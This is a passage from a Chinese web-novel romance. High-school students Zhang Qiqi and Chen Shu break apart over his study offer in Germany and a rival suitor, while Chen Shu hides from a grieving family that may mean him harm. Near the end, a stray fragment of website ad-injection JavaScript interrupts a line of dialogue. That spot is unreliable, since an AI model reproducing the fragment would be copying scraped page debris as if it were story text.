母亲戚和风的话语在这一刻尤在耳畔,前途、梦想……陈恕的前途梦想,在不经过她的干涉下是前往德国读法学专业,甚至他已经拿到了offer。 …… 沉浸在思绪中的张期期并没有听到晚自修第二节课下课铃声已经响起,她呆呆地坐在遮天蔽日的榕树下,树冠投下的阴影裹挟着无尽忧虑的少女。 另一边,教室里。 陈恕望着窗外仿佛风雨欲来的阴沉天色,他想起张期期请了两天的假期,明天……明天她就会来学校了吧?是明天吗?会不会今天晚上她就提前返校了? 想到这里,陈恕突然站起身往教室外走去,他去校门口看一看,等一等吧。 陈恕快步走到了校门口,看着已经紧闭的校门,他突然才反应过来,学校晚上八点半就闭校了,直到现在期期都还没回来,那看来是明天才回来了。 校道上排排路灯隐蔽在两旁的树木里,投下细碎的光影。陈恕垂眸踩着这些光斑,脚步沉重地往回走。 他扯了扯嘴角,无声地嘲讽着自己,患有超忆症的他失去了遗忘的能力,而他偏偏直到来到校门口才反应过来学校闭校的时间。 只有事关张期期……陈恕无奈地苦笑了一下,人类情感真是最无解的科学啊…… 少年走在寂静的校道上,耳边只有他自己发出的轻微的脚步声,一阵裹挟着凉意的风呼啸而过时,陈恕似有所觉地望向了远处的操场。 观众席后方那棵遮天蔽日的榕树仿佛冲天而上,庞大的树冠在夜色中像昏沉的巨大光影,他看见了巨大的光影下,身形单薄的少女。 她坐在观众席最上面的台阶,远远望去,仿佛蜷缩着身形一样在暗色中孤寂无鸣,单薄无力。 陈恕拔腿就往那边跑,他站在最底层的台阶望向上首的张期期,“期期……” 张期期抿着唇,陈恕啊……陈恕的前途、梦想……四目相对之下,她移开了目光看向遥远的天际。 陈恕一步步往上向她靠近,他坐在了张期期的身旁。 再一次坐在她的身边,没有人知道此刻的少年内心有多惶惶不安,他指尖微微抽动着,想触碰身旁的少女,却始终胆怯到难以行动。 那一晚,温和从容的女人将他的卑怯、贫苦、不堪,赤裸裸地摆到明面上,他和她之间天壤之别、判若云泥,他怎么有资格去得到她,他怎么能狠心将她从云端拉下,他怎么配去想象和她一起的将来…… 像夏日骄阳班绚烂的少女就坐在他的身边,可他却觉得他们之间仿佛隔了一道巨大的横沟。 “陈恕……”寂静的氛围下,张期期突然开口道,“你去德国吧!我们的约定取消了。” ……镜花水月的感情终会消散,她无法想象几年后、十几年后她要如何面对他们之间像她的父母一样重蹈覆辙,相互怨恨。 陈恕瞳孔一缩,急剧的不安和惶恐席卷了他的心头,他哑着嗓子嘶声问道:“为、为什么……” ……为什么突然这么说,他们不是约定了要一起上大学、一起毕业、一起工作,买房子大家也住在一起吗?那一日落日余晖下,少女的眼底仿佛带着绚烂的亮光。 ……难道真的如她的妈妈说的那样,她也选择了陆向川吗? 被抛弃、不被选择的绝望和苦痛叠加上年幼时悲痛的遭遇让陈恕瞬间喘不过气来,将他从深渊拽起的少女将他推向更苦更痛的深渊。 他哽着声音不死心地再次问道:“为什么……” 陈恕明白自己的劣势,这个世界是不公平不公正的,人活着就无法逃脱,但偏偏人又是无限地趋向光明和美好的,所以即便再难再痛,他也很贪心地想要伸手去触碰光明,所以他即便厚着脸皮、抛下自尊,也想挽回这个像太阳一样绚烂耀眼的少女。 … 心中最难以说出口的决定说出来后,张期期绷着的那口气瞬间散去,她目光哀伤地看着身旁的陈恕,低声道:“你不是想去德国学法学专业吗?如果因为我,你放弃原本的人生计划,那样对你来说太不公平了,而我也承受不起某一天你后悔莫及之后怨怼的眼神,真到那一天我又该怎么办呢?” 她的爱不能成为束缚他的风筝线,不能是他的桎梏,他该是自由的。 “不公平?期期……我并不那样觉得,我也不会后悔。”陈恕急迫地表明自己的立场和想法。 闻言,张期期眼底满是苦涩,她知道此时此刻陈恕说的话是真心的,但岁月逝去,这份真心什么时候会变质,她并不清楚,她不想每一天都活在胆战心惊中,生怕是不是这一天少年的真心就会变质。 曾经她笃信不疑,甚至引以为傲的父母之间的爱情都在岁月中变得面目全非。 张期期望着遥远的月色,声音怅然,“陈恕……以前我觉得爱是疯狂的、轰轰烈烈的,爱能排除万难,不理解为什么两个人彼此相爱却不能在一起,现在我觉得爱是不希望对方为了自己放弃自我,爱应该是理智的。” “陈恕……我不需要你为我付出那么大的代价。” 冰凉的月色下,陈恕觉得自己仿佛站在一座小岛上,周遭的海中在夜色中不断地向他涌来,脚下的土地也仿佛在慢慢下陷,窒息和绝望充斥在他的心间,他失去了从夜幕中垂下来的那条能紧紧握住的那条救命线。 他的世界仿佛在不断地下坠着,如果从未见过太阳,那么他甘心忍受黑暗,但感受过炙热太阳的他,怎么可能忍住,不去伸手触摸…… 万千让人心涩的情绪在他的心中不断地翻滚着,脑海里庞大的数据仿佛在发起暴动,陈恕头疼欲裂。 少年强忍着痛意,压抑着纷乱的情绪,他冷静地道:“期期……在你心里,我很优秀吗?” “嗯,你真的……真的很优秀。”张期期微垂着双眸,遮住了眼底无尽的眷恋。 陈恕深深地吸了一口气,他冷静道:“期期,既然你觉得我很优秀,那么很优秀的我去哪里不都一样吗?” “去国外和留在国内对我来说都是一样的,就像从学校回家,有两条路,但最终的结果都是殊途同归。” “期期。你知道我从小的遭遇,对我来说,没有什么比你更重要。对于我来说,人生的天平上,理想和你各占一边,不是所有人天生就倾向于理想的,人都是不一样的,我天生就倾重于感情!倾重于你!” 少年心中的危机感不顿地上涨着,以往情绪内敛、说话笨拙的他此刻不断地剖析着自己的心,不断地想为自己增添筹码。 太重了……太重了……她怎么承受得起…… 张期期紧紧攥住指尖,声线紧绷,“两条路,可是明明可以走更好的路,看见更美的风景,遇上更好的机遇,那是你这一生仅有的一次,难道将来的你不会觉得可惜、后悔吗?” “期期!”陈恕急得嗓子都有些破音了,“你这些都是假设。” “可假设成真了呢,那将来的我又如何自处?” 陈恕抿唇,“即便真的,我也不后悔,更不会怪你。” 沉默……良久的沉默中,张期期想起一向和煦恩爱的父母突然间面目狰狞,相互指责,地板上鲜红的血迹在她的心里晕开一片阴影。 良久的沉默中,陈恕不可置信地望着她,“你觉得我会是这样的人?” 她不敢去信,不敢去赌。 …… 103. 第 103 章 - 京照一中迎来了第一次高考模拟考试,京照一中作为重点高中,自然也是重要的考场之一。高一高二年级的学生集体放假,他们所在的教学楼被作为了考场教室。 学校在布置考场时,并没有影响到高三学生的正常上课。 食堂内。 许兰亭唉声叹气地戳着餐饭里的饭食,“明天都要考试了,居然今天都不给我们放一天假,哪怕半天也行啊……” 林听低声道:“学校老师对这一次的一模很重视,所以放假是不可能的,学校希望我们一直保持着思维的惯性。” 周嘉先笑了笑道,“别抱有不切实际的幻想了,为了帮你迎接明天的一模,我已经给你准备好了重点题目训练。” 许兰亭哀嚎道:“不是吧你……先哥,你太残忍了……” 啊…… 片刻后,许兰亭默默地闭上了嘴,收回自己夸张的哀嚎声,他揪了揪头发,眼神烦躁,视线在陈恕和张期期的身上扫过一遍又一遍。 到底怎么了啊?这诡异又让他坐立难安的气氛持续了两天了。 许兰亭恨不得将他们两人揪起来骂一顿,到底有什么不能说的,陈恕、期期他都问过了,结果倒好,明明在闹别扭的两人却格外地默契,他们甩给他一句“没事”就再也不肯开口解释了。 周嘉先、林听面面相觑,两人眼神沉重地看了陈恕、张期期一眼,他们俩也不是没有分别找这两人谈话过,但……唉! 到底是什么样的事情会让他们谁也不肯退让一步。 …… 晚自修后,许兰亭如同往常一样送林听回教师宿舍,月亮挂在高空上,时不时被吹动的云层遮挡住。 走过冷光粼粼的天鹅湖附近,蛙叫声此起彼伏。 林听将被风吹乱的发丝别在耳后,她神情低落,“兰亭,我想了很久都没有想出期期和陈恕到底为了什么事情闹别扭……” 许兰亭挠了挠后脑勺,“我也是。按理说不应该啊……”他真的觉得匪夷所思,无论是期期还是陈恕,都不是那种会因为一点小事斤斤计较的人,所以…… 他诧异地睁大了双眼,“该不会是期期喜欢上别人了吧?然后陈恕不肯放手……然后他们……”他的脑海里闪过了期期看过的各类你喜欢我、我不喜欢你,你追我跑的爱情小说…… “别胡说。”林听瞪了他一眼,打断他的话道。 “好吧。算了……不说他们了。”许兰亭左顾右盼,嘴里嘟嘟囊囊道,“来说说我们吧……” 月色下,一向神色冷淡的少女突然微微红了脸,她低声道:“我们、我们有什么说的?不是都说好了吗?大家一起上华大……” 那一日傍晚红霞漫天,尘土飞扬的荒地上许下大家一起的约定时,没人知道她有多么开心。许是她性格原因,从小到大,她都很拥有长久、持续的朋友,而现在她的身边有了期期、兰亭、先哥、陈恕,他们带动着她融入了重点一班。 许兰亭顿了顿,隐在树荫下的脸色突然变得苦哈哈的,华大……啊!他的朋友们真敢想啊,不知道他们对他到底哪来的自信。 “呃……”见林听侧首望过来,许兰亭赶紧狠狠点头,“对!上华大,我们一起上华大。”……但是压力好大啊……真累,好累啊…… 少年的眼眸中闪过疲倦,这些日子,他睡得比狗晚,起得比鸡早,比宿舍内里的任何人都要勤奋,简直现代版的“头悬梁锥刺股”。 看着林听回到了教师宿舍内,许兰亭沉默地望着头顶的月色,好半响他猛地摇了摇头,别浪费时间了,赶紧回宿舍刷题去,先哥又搞了一大堆题目给他刷呢! 少年拔腿就往学生宿舍跑,路过篮球场时,他满眼怀念,等着……等他高考完,看他不打个三天三夜! * 为期两天的模拟考很快就结束了,结束之后,高三的学生们并没有时间可以松一口气。越临近高考,这栋高三生专用的教学楼气氛越来越沉凝,每个人都争分夺秒地学习着。 时间就像浸满了水的海绵,挤一挤还是有的。 张期期独自一人站在教室外的走廊上,从廊上望出去,是满眼的翠绿,当风吹过,树冠晃动,仿佛碧波荡漾。 已经是三月底了,她知道陈恕德国慕尼黑大学需要在四月中旬前往学校报道。这些日子,她和陈恕一直没有再说过话,她不愿意退让,他也不愿意妥协。 逼近的时间点仿佛悬在她头上的达摩克利斯之剑,她到底应该怎么做呢? 僵持不下的情况很快就迎来了转变,那一天陆向川来到了学校,虽然作为已经前往美国的高三生,但他的学生卡在今年七月之前依旧有效。 他站在重点一班的教室门口,轻轻叩了叩木质的教室门,他不顾其他同学被打扰后下意识皱起眉头的目光,径直喊道,“期期……” 张期期攥着黑色水笔的指尖骤然缩紧,片刻后,她仿佛在心底里终于放弃了什么似的,眼帘微垂地走出了教室。 见状,许兰亭一脸懵,向川怎么在这儿?他……他不是已经去美国了吗? 他看了看教室外相伴着消失的期期、向川的身影,又转过头看着眼神压抑的陈恕。这一刻,他心头仿佛闷雷炸响,不是吧……他之前胡说八道的「期期该不会是喜欢上别人了,然后陈恕不肯放手……」的推论居然是真的吗? 啊……这…… 许兰亭忍不住侧首看向一旁的林听,林听也眼神呆滞地望着他。 他揪了一把头发,深深吸了一口气,伸手推了推陈恕放在桌面上的手臂,压着声音鼓励道:“快去啊!陈恕!把期期抢回来!” 陈恕淡淡抬眸,面无表情地望着他。 “还愣着干什么?赶紧去。”许兰亭伸手欲将陈恕拉起来,然而陈恕反手按住了许兰亭的手,少年平静的表情下,眼底仿佛掀起了滔天巨浪。 许兰亭愣了愣,正欲开口时,却见陈恕绷着脸站了起来,径直往教室外走去。 无人知晓此时此刻少年心底戾气丛生,仿佛唯有任由心底的愤恨发酵,才能压制住内心摇摇欲坠的信任。 … 碧波荡漾的天鹅湖边。 陆向川笔直地站立着,自从上一次在张家的谈话之后,他一直在想,如今的张家早就不是他曾经渴望加入的家庭了,那他和期期的婚事还要像他爸和张叔叔私底下商定的那样继续进行下去吗?而今天他就是来给期期答案的。 心中的苦涩慢慢溢了出来,张期期看着眼前沉默的陆向川,想起了那一日她控制不住情绪后迁怒对方的事情,她抿了抿唇后,选择了道歉,“对不起……” 陆向川张了张嘴,好半响才道:“也……也没事。发生那样的事,你肯定也不想的。”甚至她肯定比他还难受……他早就习惯了圈子里的这些事,而期期估计怎么也没料到吧。 张期期微不可见地、随意地点了点头。 陆向川看着身前眼帘微垂的少女,思绪不由地变得绵延,他想起了年幼时他们一起长大的日子,到后来的渐行渐远。 曾经他在心里怨恨过陈恕,觉得是陈恕夺走了她的注意、她的目光,然而直到那一天之后,他反反复复地在心里翻来覆去地想,终于想明白了,原来在很久很久之前,她或许潜意识里就意识到了家庭的危机,意识到了父母和她之间情感的不对等,所以再没有底气面对自己满眼羡慕的眼神。 “期期……我们都是受害者,但在这个圈子里,这样的事情很常见,情感往往与利益勾连,既然我们无法信任他人,不如我们彼此相互信任吧,没有谁比我们彼此都明白和痛恨这些事情。” “我爸和你爸已经在私底下商议了我们的婚事,我们之间是彼此最好的选择不是吗?我们会是彼此的避风港。” “期期……跟我去美国吧……去过一段不需要被长辈掌控、随心所欲的生活。” 陆向川神色认真、眼底和她有着如出一辙的疲倦,矜贵的少年掌心向上,朝她伸出了手。 张期期垂眸看着他指骨修长的掌心,嘴角微微扯了扯,她承认无论是向川还是她,因为内心对情感无瑕的较真使得他们不愿意沉沦在成年人彼此默契定下的规则里,但这并不意味着因此她就要找个同样是受害者的人抱团成为避风港,自欺欺人地去告诉自己,这是最好的选择了。 圈子里彼此心照不宣、不成文的规则永远困不住她,向川选择在规则下圈出一块小地盘来维持他自己的原则,又还能享受到这个圈子奢靡和优越的生活,但她却会选择刀锋向前,刺破这个圈子,不惜于抛弃这个圈子规则下的优越。 因此,面对陆向川伸出的掌心,张期期伸出了手,准备推开……然而她仅仅是手臂微抬时,身旁突然窜出了一个身影。 …… 从教室出来的陈恕花了一小段时间推测期期和陆向川去了哪里,当他站在天鹅湖边巨大的榕树树旁时,听到的便是「我爸和你爸已经在私底下商议了我们的婚事,我们之间是彼此最好的选择不是吗?我们会是彼此的避风港。” 「期期……跟我去美国吧……去过一段不需要被长辈掌控、随心所欲的生活。」 他猛地攥住了拳头,咬紧牙关看着不远处面对面而立说着话的他们,他看见陆向川伸出了手,而期期……也伸出了手…… 不!为什么!期期……到底为什么,他和期期怎么就走到了这一步,明明之前一切还好好的啊……期期,期期不是喜欢他吗?为什么突然又要选择和陆向川离开? 他完全不知道为什么,到底发生了什么!她横冲直撞地闯入他的心里,如今却毫不留情地想抽身而出。是他犯了什么错吗? 万千思绪、情绪在他心中百转千回,然而事实上仅仅是过了片刻,思绪混沌中,他下意识地冲出去,攥紧了张期期的手腕,将人拉到了自己的身边。 “期期,别去。好不好。”陈恕垂眸望着身旁的张期期,眼神中极尽恳求。 四目相对之下,张期期微微侧头,率先移开了目光,她望着波光闪闪的湖面,语气冷淡,“陈恕,你干涉不了我的决定。” 她收回视线看着被攥住的手腕,她用力挣扎了片刻,陈恕攥得她手腕生疼,张期期抬眸道:“你太用力了。” 陈恕顿了顿,意识到她疼了,他下意识减弱了力道,张期期迅速挣脱他的束缚,并立刻往陆向川的方向退了几步,拉开与陈恕的距离。 这一幕刺痛了陈恕的心,清冷内敛的少年忍不住露出了戾气丛生的眼神,“张期期,我对你来说是招之即来、挥之即去的存在吗?” 他不明白,真的不明白…… 是她,最开始的时候不顾他竖起的厚厚的心墙,横冲直撞地闯入他的心里,她带着她融入重点一班,嬉笑玩闹,让他贫瘠晦涩的人生中有了很多很多的快乐。 烟火、温泉、滑雪,那日的盛景仿佛还历历在目,她无数次站在他的身前维护他,眼里露出对他的温情和心疼,甚至她和他们许下了未来的承诺。 这一切的一切致使他的心墙轰然倒塌,从此他空白、无边的心际中只有她这一抹亮色,人都天性趋向温暖和光明的,他又怎么能例外呢?所以……他爱她啊。 可是为什么,她亲手摧毁他的心墙,闯入他心中,如今拍拍手就想走,那被她剩下来的自己又该怎么办? 有多爱,此刻便有多怨,他的心就这么又贱又便宜吗? 少年目光阴沉地盯着张期期看,张期期攥住了指尖,垂着眸抿着唇,神色执拗又顽固。 良久,少年缓缓松开了攥着的掌心,神色归于冷淡,他目光仿佛穿透张期期的身躯,望向了遥远的过去,半响后少年转身离开了…… * 张期期望着他消失的背影,心脏一下一下地抽疼着,泪水沁在她的眼眸中缓缓溢出,顺着白皙的脸颊滑下。 走吧……陈恕,远远地走吧…… 这几天她好几次自己一个人走在校园里,偶尔还会时不时地听见低年级的学生背地里偷偷议论着陈恕过往的遭遇,他们说陈恕命不好,克父母,克兄弟,说得煞有其事…… 不仅如此,就算他们一行人一起走着时,路过的同学视线也会意味不明地扫过陈恕,再加上虎视眈眈想着陈恕配型的陈岩夫妻……冷心冷肺的陈最。 过去的苦难仿佛一直在陈恕的身边如影随形,从苦难中诞生的梦想是陈恕人生的基石。陈恕,我希望见到闪闪发光的你,为你自己而活吧。 “期期,一定要这样吗?”陆向川担忧地看着她。 “嗯……”张期期抬手捂住眼眸,低声道:“我不想将来他和我之间像我爸妈一样重蹈覆辙。那样的话……我承受不起,他有理想,不该被我拽入深渊。” 陆向川心中长长的叹了一口气,“那你呢?期期,你的理想又是什么?不要总考虑别人……” 闻言,张期期愣了下,薄薄的泪水沁在她的眼眶,她眨了眨眼,说不出一句话。她的梦想啊…… 和煦的风吹拂而过她的脸庞,轻柔又抚慰,一旁绿草如茵,碧波荡漾,一身矜贵的少年笑着道,“期期,我的提议永远有效,我等你的答复。” …… 许兰亭以为自己撺掇陈恕跟出去将期期抢回来是神助攻,可没想到陈恕回来之后,整个人突然变得很奇怪…… “啊……倒也不是说很奇怪,就是就是……”许兰亭怎么都想不出来该如何形容这种感觉。 “就是很像我们高二的时候他第一次来到我们班时身体上、心理上拒人于千里之外的冷漠。”林听接下了他的话。 食堂内,许兰亭闻言恍然大悟,连连点头,“没错没错,之前我搭他的肩膀,他没什么反应,这两天我刚伸手,他就刷地一下躲开了,还有那个眼神,好像我是陌生人一样,毫无波澜啊,真的我不夸张,真的毫无波澜,好像我没站在他眼前一样。” 周嘉先无奈道:“是啊……” 以往这张圆形的桌子他们五人坐着刚刚好,但现在……许兰亭看了左边,看右边,就他和林听、先哥三个人,那两个家伙突然像匹孤狼一样。 三人面面相觑,毫不意外地在彼此的眼中看到了无奈和忧虑。 周嘉先:……搞什么啊,都要高考了,就是说高中生不能谈恋爱嘛,多影响学习啊! * 翌日,是高三生每月一次回家的日子。 临近下午放学时间,教室里的同学忍不住躁动起来,曾培拍了拍桌面,布置完一系列的作业之后,又叮嘱了好几遍放假期间注意安全,最后才宣布放学。 陈恕微垂着眸,神色淡淡地收拾着东西。 周遭同学激动、兴奋、期待的情绪亦不能感染他半分,他始终保持着放空大脑的状态,这是他很久以前找到的方法,保持情绪的稳定和注意力的放空,如此才能尽量减缓身边急剧爆炸的情绪和信息数据。 更厚重的城墙在少年的心间悄然竖起,他的视线微垂着,视野里始终只有他自己一个人。 张期期背上书包,拎上脚边放着的小行李袋,和林听、许兰亭、周嘉先说了一声之后就离开了教室,她拐弯的瞬间,余光从少年的身形上扫过,随即快速地收回视线。 她知道这一次过后,陈恕不可能还能和之前一样保持着闹别扭但还是和大家一起行动,而她因此也不可能还和大家在一起,这样的话,看起来就像是他们几个人孤立陈恕一样,于是她只好也跟着脱离了他们几个人的小队伍。 周嘉先、许兰亭、林听再次面面相觑,他们实在不知道该如何解决目前的状况。 许兰亭实在忍不住了,他豁然转身看向陈恕,急切道:“你们俩到底怎么了啊?能不能说一说啊,我们仨想想办法啊!真是憋死我了。” 陈恕指尖为顿,片刻后继续若无其事地收拾东西。 许兰亭气急,准备将人揪起来的时候,讲台上还未离开教室的曾培突然道:“陈恕,你跟我去一趟办公室……”他说完转身就走。 陈恕将东西全部塞在书包里,起身就走,他的身后,许兰亭充满怒气的声音隐隐约约地传过来,“皇帝不急,急死太监是吧?算了,你们爱咋滴咋滴吧……” “兰亭!别乱说!”是林听在喝止许兰亭。 班主任曾培已经在教室门外的走廊上了,陈恕快步走过去,正想开口询问的时候,曾培道:“去办公室再说。” …… 年级组办公室。 许是因为放假,办公室此刻没什么人,只有曾培和陈恕。 曾培拉了张凳子示意陈恕坐下,他神色复杂,犹豫着接下来的话到底应不应该说,但不说的话,又害怕这孩子没防备会吃亏的。 陈恕见状,开口道,“曾老师,有事您可以直接说的。” 曾培未语便先叹了一口气,他担忧地看着陈恕,低声道:“因为前两次的事情,学校这边和陈岩他们还是有点联系的,然后教导主任中午的时候打过电话给我了,说是……说是陈岩住院的那个孩子已经没了。” 陈恕愣了下,好半响才缓缓点了点头,道:“我知道了……” 曾培怕他没领悟到他的意思,便直接道:“陈恕,这周末放假要不你去老师宿舍那呆两天吧,我担心陈岩夫妻接受不了孩子去世的事,他们可能会找你,会对你做出疯狂的事情。” 陈恕摇摇头,神色淡淡,“不用了,曾老师。他们并不知道我住哪儿。” 曾培眼神复杂地望着他,“你确定吗?人在疯狂的时候容易做出可怕的事情。你不要掉以轻心,现在正是你最关键的时候。” 陈恕还是拒绝了…… 良久的沉默后,曾培饱含歉意地问道:“是因为逸飞吗?” 陈恕笑了笑,“不是。”他没有多解释,只是道:“老师你真的不用担心。” “那行吧。你自己多加注意,有事的话可以找老师。” “嗯。”陈恕走出办公室几步后,突然停住脚步,他转过头来,眼神真诚地望着曾培,“曾老师,谢谢您,谢谢您救了他。” 这个他,曾培知道,是指他的弟弟陈最,也是他的儿子曾逸飞。 陈恕说完便回过头去,与此同时,与年级办公室相连的档案室突然走出来一位教务老师,对方拿着一份学生档案从陈恕的身边走进了年级办公室。 “曾老师,你们班张期期的个人档案我找出来了……” 陈恕猛然僵在原地,档案……他自然知道档案有多重要,升学、转学时都必须要用到的东西,期期!张期期……你真的要走了吗? 他的脚仿佛千万斤重,怎么也抬不起来。 年级办公室内,曾培一脸诧异,“为什么要拿她的档案出来?” 教务老师猛地拍了一下额头,“哦,对!你应该不知道,是这位同学的家长打电话给我们校长说的,然后校长吩咐我找出来,说放年级办公室,晚些她的家人会来拿。” “这位同学的家长看来是很有人脉的人啊,电话一打就直接打到我们校长这来了……” “……” * 拥挤的公交车站台上挤满了拉着行李箱的高三生,陈恕单手攥着书包的带子望着国道上缓缓行驶过来的公交车。 「……是这位同学的家长打电话给我们校长说的,然后校长吩咐我找出来,说放年级办公室,晚些她的家人会来拿。」 ……这句话反反复复在他的耳边一遍又一遍地回响着,公交车已经停到了站台上。 这一趟路线的公交车并不是他要乘坐的路线,他已经站得很偏了,但身旁的其他同学依旧从他的两边穿过挤上了前方的公交车,他置身人流中,不像身旁的同学一样心有归处。 公交车车内载着满满的学生从公交车站台开走,下一趟公交车还未出现在视线里,陈恕倚靠着路灯微垂着眸,强自镇定去忽略身旁那些同学若有似无的目光。 他知道他们没有多大的恶意,人本就有着好奇的心理,再加上他就在这里,他们控制不住自己想看看舆论中的主人公角色也是正常,但真的……这种感觉非常不好,陈恕攥了攥手心,超忆症的敏感度非常高,这样的眼神会让他觉得灵魂都在被窥探和针扎一样。 好在没多久,他等的公交车终于来了,从车上下来后,他径直往小巷子内他租的出租房走去。 原本他住的地方附近有一栋自建楼在大规模地重建、装修,花了一年多,对方陆陆续续装修完了,专门隔成一小间一小间地租给刚工作的小年轻们,因此最近这附近人流量比较大。 陈恕路过一家早餐店时,脚步突然顿了顿,他记得这家店一般都是开到上午十一点就关门了,怎么现在门还开着…… 这只是他走过时,脑海中划过的思绪而已,陈恕并没有放在心上。 然而他才刚走过这家早餐店几步路而已,早餐店内的老板娘突然冲出店内,拉住了他,压低声音急着道:“别回去了,陈岩准备找你的麻烦,快走吧孩子。” “快走!”老板娘轻轻推了陈恕一把。 陈恕闻言,攥住了背包的带子,他急匆匆地道了一声谢后,往来时的路跑出去。 从城中村出来,天色已经微暗,两旁的路灯次第亮起,车道上车水马龙,像流动着的霓虹带,行人急匆匆地走着,摩肩接踵。 陈恕毫无目的地随着人流行走,身旁的行人或在打电话,或和身边的朋友聊着今晚的晚饭吃什么,或吐槽着今天工作时同事的不配合、老板的傻逼,每个人的面目隐在暗色中,他们都有各自的悲欢喜乐。 人群中,陈恕只觉得无尽的孤独,他仿佛站在一座荒岛上,只看着周遭海水不断地奔涌、退去。 好半响后他终于停了下来,找了个街边角落的位置站着,他抬头看着暗色中被云层依稀遮住的月亮,他该去哪儿呢?他能去哪儿呢? 曾老师家吗?不,陈最不会想看见他的。 他又坐上了公交车,车窗外高耸入云的建筑物灯火通亮,很快他就收回视线,专注地盯着自己的手心看。 再抬眸时,他出现在了山地车专卖店的门口,隔着透明的玻璃墙,陈恕看见了山地车专卖店新招的员工就站在前台的后方,而老板则是半躺在摇椅上,晃晃悠悠地看着手机。 犹豫良久,陈恕才走进了店内,新招的员工立刻站起身笑道:“您好,买山地车吗?需要我帮你介绍介绍吗?” 陈恕摇了摇头,“我找老板。” “陈恕!是你啊,快过来,坐坐坐。”店老板闻声立刻收起手机,惊讶地招呼道。 陈恕从顺如流的坐在了椅子上,又问道:“燕姨呢?” “你燕姨在家做晚饭。”店老板笑了笑,余光扫了一眼店内墙上的时钟,已经是七点了,他笑着站起来道:“走,去叔家里吃饭。” 陈恕顿了顿,没等他想好,已经被店老板一把拉进来,“走……” … 方燕看到陈恕也十分高兴,急着要出门再买几个菜,陈恕将人拦了下来,“燕姨,够了够了……” 店老板也喊道:“都坐下吃饭吧,别折腾了。” “好好好,吃饭吃饭。” 方燕的女儿芸娅从冰箱里拿出两瓶椰汁,一瓶放在自己面前,一瓶放在陈恕的面前,女孩子笑着道:“陈恕哥哥,喝饮料。” 方燕皱了一下眉头,“你今天已经喝了两瓶饮料了,不能再喝了。” “哎呀,妈你别扫兴,我和陈恕哥哥干一个。”她举起一瓶椰汁,陈恕见状,笑了笑,放下筷子举起面前的饮料和她轻轻地碰了一下。 “行吧,最后一瓶啦。”方燕强调道。 餐桌就摆放在厨房的门口和走廊的交接处,陈恕坐在椅子上,侧首就能看见阳台,阳台的对面是另一栋商品楼。 这个小区的入住率非常高,因此陈恕望出去时,见到的是万家灯火。 家啊……陈恕微微垂下了眸,心底泛起难言的苦涩,他压了压眉心,将奔涌的情绪按下去,他始终都是孑然一身。 吃过饭,陈恕坐在客厅和方燕聊着天,他不擅言辞,因此多是方燕问,陈恕回答。 说着说着,方燕突然问道:“对了,小恕,我听芸娅说,你已经被国外的大学录取了,那你什么时候出发吧?到时候燕姨送送你。” 陈恕闻言一滞,芸娅怎么会知道这件事…… 芸娅看出了他的疑问,笑着道:“陈恕哥哥,学科竞赛的事我们高中也有人参加啊,我同桌的姐姐就参加了,我是听她们说你已经保送了。” 陈恕点点头,犹豫道:“是……已经保送了。四月中旬就得去报道。” “哎呀,那只剩下半个月了,国外的东西你肯定吃不惯,到时候燕姨给你晒些肉干,做点酱料吧……” “哎……最近这天气看着也不太行啊,老是阴沉沉的,都不知道能不能晒肉干……我得抓紧点时间了……” 芸娅无奈地喊了一声,“妈,你别折腾了,你那些东西不一定能过海关,别折腾了,不然到时候万一还要被罚呢!” 方燕闻言只能妥协,她看着陈恕,眼里满是欣慰,“小恕真优秀啊,你妈妈要是知道的话,会很高兴的……”她又问了一次,“小恕那你决定好什么时候动身了吗?还是尽快一点先去那边吧,早点去,不要太匆忙,到那里也可以先修整修整。” 方燕和她丈夫视线对上了片刻,两人纷纷看到彼此眼中的担忧,陈岩的那个儿子听说已经没了,他们是真的怕他狗急跳墙,做出伤害陈恕的事情,之前陈恕躲在学校里还好,现在……唉…… 对于他们眼中的担忧和急切,陈恕似有所觉,他望着对面万家灯火,孤独和绝望油然而生,“嗯,过两天吧,过两天就走了。”陈恕听见自己这么说道。 …… 再三推拒之后,陈恕才从燕姨家里出来,他到底还是不习惯留宿别人的家中,而且他突然想起来,陈岩曾经在山地车专卖店里见过他,他生怕陈岩跑到这里来骚扰燕姨一家。 浓云在天上翻滚着,夜间的风越来越大了,陈恕背着包毫无目的地走着…… 「我爸和你爸已经在私底下商议了我们的婚事,我们之间是彼此最好的选择不是吗?我们会是彼此的避风港。」 「期期……跟我去美国吧……去过一段不需要被长辈掌控、随心所欲的生活。」 「……是这位同学的家长打电话给我们校长说的,然后校长吩咐我找出来,说放年级办公室 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,晚些她的家人会来拿。」 …… 期期,期期。期期!期期…… 他在心中一遍又一遍无声地喊着她的名字,最终少年脚步一滞,站在人潮汹涌的路口蹲下了身子,他手臂搭在膝盖上,额头靠在手臂上,将红着眼眶的脸埋在手臂内。 他不想离开啊,可是她要走了…… 她要走了…… 京照一中是个大城市,街头有人无声地崩溃都是年轻人的常态,谁也不会为此停留下脚步。 闷雷在头顶炸响,行人脚步更加急匆匆,这个城市风雨欲来。陈恕用手背碰了碰干涩生疼的眼眶,慢吞吞地站了起来,他还是选择了回自己的出租屋。 现下仿佛要下大雨了,陈岩他们应该走了吧…… 他站在小巷子的拐角处,抿着唇,屏住呼吸探出头去,视线在出租房楼下扫了又扫,果真没见到人。他小心翼翼放轻脚步地上了楼道,出租房门口也没有人…… 陈恕松了口气,心道,要么是觉得要下暴雨了,陈岩离开了,要么就是陈家宝的身后事还需要他留在医院,所以暂时走了吧…… 他迅速打开房门,快速闪身进了屋内,再果断将房门关上。 陈恕习惯性地伸手准备按屋内的灯光,然而在触碰上按键时,他心里闪过一个念头,若是陈岩就在这附近找了个地方躲雨,然后看着自己的这件屋子呢? 这栋楼附近的人流量比较大,来来往往的都是刚毕业的小年轻,因此昏暗中陈岩不一定认得出他,但是如果他的房间亮起了灯光,陈岩是一定会看到的。 思及此,陈恕强忍着房间内昏暗,阳台上又微微露出些光亮的场景,这个场景同他幼年躲在柜子里一样。 他浑身颤抖,借着微弱的光线找到了桌面上那一盏小小的台灯,他急切地打开了台灯,温和的光线亮起,他才松了一口气,混沌的思绪也渐渐清晰起来。 …… 皇家园林别墅区。 张期期半躺着窝在阁楼的沙发床上,抬眸望去,头顶是透明的玻璃窗,紫色的闪电从天际划过,闷雷炸响。 这是一间狭小的阁楼,她的画板、颜料、画笔以及画过的作品等等都在这里,堆积如山。空气中带着颜料的气味,她很喜欢这股味道,这股味道让她觉得异常安心。 